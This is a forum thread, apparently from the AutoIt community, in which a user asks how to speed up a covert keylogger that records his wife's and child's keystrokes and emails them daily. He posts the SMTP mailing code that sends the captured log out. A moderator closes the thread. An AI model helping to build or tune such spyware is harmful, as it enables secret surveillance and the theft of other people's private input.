Jump to content
Sign in to follow this  
tommez

need help speeding up my process

Recommended Posts

tommez

Hello,

I'm new to this forum, so bear with me :)

My goal of the script is to record all keystrokes, to know what my kid and wife are all doing on my pc's

eventually, daily send a report through mail to my e-mail

now I wont post the script itself since you guys dont like these types of programs...

basically it changes evry key to a hotkey, sends the pressed key and saves it to a txt file

but when the program actually mails, it tends to mess up all my keystrokes

all keystrokes get 1~2 second delay and get scrambled,.. some keys even left out

This only happends when its effectivly running the mail process,...

so I was wondering if somebody knew how to speed up that process.

I used a mailscript I found on these forums

Its located in a loop, next in the loop is a date checker and some small addons that have near to no importance

if $mailto = 1 Then  
        FileSetPos($file,0,0)
        $Subject = "logger report " & $date
        $Body = FileRead($file) 
        FileClose ($file)
        $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
        Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
            Local $objEmail = ObjCreate("CDO.Message")
            $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
            $objEmail.To = $s_ToAddress
            Local $i_Error = 0
            Local $i_Error_desciption = ""
            If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
            If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
            $objEmail.Subject = $s_Subject
            If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
                $objEmail.HTMLBody = $as_Body
            Else
                $objEmail.Textbody = $as_Body & @CRLF
            EndIf
            If $s_AttachFiles <> "" Then
                Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
                For $x = 1 To $S_Files2Attach[0]
                    $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
                    If FileExists($S_Files2Attach[$x]) Then
                        ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                        $objEmail.AddAttachment($S_Files2Attach[$x])
                    Else
                        ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                        SetError(1)
                        Return 0
                    EndIf
                Next
            EndIf
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
            If Number($IPPort) = 0 then $IPPort = 25
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
            If $s_Username <> "" Then
                $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
                $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
                $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
            EndIf
            If $ssl Then
                $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
            EndIf
            $objEmail.Configuration.Fields.Update
            Switch $s_Importance
                Case "High"
                    $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
                Case "Normal"
                    $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
                Case "Low"
                    $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
            EndSwitch
            $objEmail.Fields.Update
            $objEmail.Send
            If @error Then
                SetError(2)
                Return $oMyRet[1]
            EndIf
            $objEmail=""
        EndFunc
        Func MyErrFunc()
            $HexNumber = Hex($oMyError.number, 8)
            $oMyRet[0] = $HexNumber
            $oMyRet[1] = StringStripWS($oMyError.description, 3)
            ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
            SetError(1)
            Return
        EndFunc   
        $mailto = 0
        $file = FileOpen("test.txt", 2)
        FileSetPos($file,0,0)
    EndIf

while this part is running, all my hotkeyset get scrambled....

I am using my Gmail account to send the mails

Any Ideas?

P.S. : not asking for codes, just asking to be guided in the right direction

grtz tom

Share this post


Link to post
Share on other sites
SmOke_N

Topic Closed.


Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.